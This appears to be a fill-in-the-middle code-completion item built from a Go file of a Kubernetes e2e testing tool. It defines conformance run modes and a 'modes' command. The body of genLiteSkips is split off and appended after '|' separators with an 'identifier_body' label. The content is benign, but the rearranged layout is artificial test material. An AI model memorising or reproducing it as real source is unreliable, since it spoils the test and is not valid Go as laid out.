`[k8s.io] Probing container should *not* be restarted with a tcp:8080 liveness probe [NodeConformance] [Conformance]`,
`[sig-api-machinery] Garbage collector should keep the rc around until all its pods are deleted if the deleteOptions says so [Conformance]`,
`[sig-apps] StatefulSet [k8s.io] Basic StatefulSet functionality [StatefulSetBasic] should perform rolling updates and roll backs of template modifications [Conformance]`,
}
)
// validModes is a map of the various valid modes. Name is duplicated as the key and in the e2eModeOptions itself.
var validModes = map[string]e2eModeOptions{
E2eModeQuick: {
name: E2eModeQuick, focus: quickFocus,
desc: "Quick mode runs a single test to create and destroy a pod. Fastest way to check basic cluster operation.",
},
E2eModeNonDisruptiveConformance: {
name: E2eModeNonDisruptiveConformance, focus: conformanceFocus, skip: nonDisruptiveSkipList,
desc: "Non-destructive conformance mode runs all of the conformance tests except those that would disrupt other cluster operations (e.g. tests that may cause nodes to be restarted or impact cluster permissions).",
},
E2eModeCertifiedConformance: {
name: E2eModeCertifiedConformance, focus: conformanceFocus,
desc: "Certified conformance mode runs the entire conformance suite, even disruptive tests. This is typically run in a dev environment to earn the CNCF Certified Kubernetes status.",
},
E2eModeConformanceLite: {
name: E2eModeConformanceLite, focus: conformanceFocus, skip: genLiteSkips(), parallel: true,
desc: "An unofficial mode of running the e2e tests which removes some of the longest running tests so that your tests can complete in the fastest time possible while maximizing coverage.",
},
}
func genLiteSkips() string |
func validE2eModes() []string {
keys := []string{}
for key := range validModes {
keys = append(keys, key)
}
sort.Strings(keys)
return keys
}
type modesOptions struct {
verbose bool
}
func NewCmdModes() *cobra.Command {
f := modesOptions{}
var modesCmd = &cobra.Command{
Use: "modes",
Short: "Display the various modes in which to run the e2e plugin",
Run: func(cmd *cobra.Command, args []string) {
showModes(f)
},
Args: cobra.ExactArgs(0),
}
modesCmd.Flags().BoolVar(&f.verbose, "verbose", false, "Do not truncate output for each mode.")
return modesCmd
}
func showModes(opt modesOptions) {
count := 0
if !opt.verbose {
count = 200
}
for i, key := range validE2eModes() {
opt := validModes[key]
if i != 0 {
fmt.Println("")
}
fmt.Println(truncate(fmt.Sprintf("Mode: %v", opt.name), count))
fmt.Println(truncate(fmt.Sprintf("Description: %v", opt.desc), count))
fmt.Println(truncate(fmt.Sprintf("E2E_FOCUS: %v", opt.focus), count))
fmt.Println(truncate(fmt.Sprintf("E2E_SKIP: %v", opt.skip), count))
fmt.Println(truncate(fmt.Sprintf("E2E_PARALLEL: %v", opt.parallel), count))
}
}
func truncate(s string, count int) string {
if count <= 0 {
return s
}
if len(s) <= count {
return s
}
return s[0:count] + "... (truncated) ..."
}
| {
quoted := make([]string, len(liteSkips))
for i, v := range liteSkips {
quoted[i] = regexp.QuoteMeta(v)
// Quotes will cause the regexp to explode; easy to just change them to wildcards without an issue.
quoted[i] = strings.ReplaceAll(quoted[i], `"`, ".")
}
return strings.Join(quoted, "|")
} | identifier_body |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.